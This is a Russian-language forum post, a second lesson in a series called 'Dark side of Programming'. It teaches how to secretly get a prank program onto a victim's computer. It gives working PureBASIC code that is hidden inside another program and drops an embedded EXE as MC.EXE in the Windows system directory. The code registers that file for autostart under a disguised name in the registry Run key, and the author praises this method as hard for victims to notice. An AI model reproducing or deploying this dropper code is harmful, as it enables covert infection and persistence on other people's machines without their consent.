Показать сообщение отдельно
Старый 10.01.2007, 19:11   #2
Chrono Syndrome
 
Сообщений: n/a
Re: Dark side of Programming

Итак, я думаю настало время приподать вам Урок №2 .

В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код:
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EndDataSection
Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)
Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run " значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу.

Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен .
 
Ответить с цитированием
Сообщение было полезно следующим пользователям:
Slepetc (04.03.2009)